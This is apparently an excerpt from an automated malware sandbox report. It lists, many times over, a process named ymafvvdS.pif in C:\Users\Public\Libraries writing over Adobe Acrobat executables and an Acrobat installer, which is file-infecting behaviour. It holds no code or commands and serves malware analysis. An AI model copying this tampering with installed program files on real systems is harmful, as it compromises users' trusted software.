Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
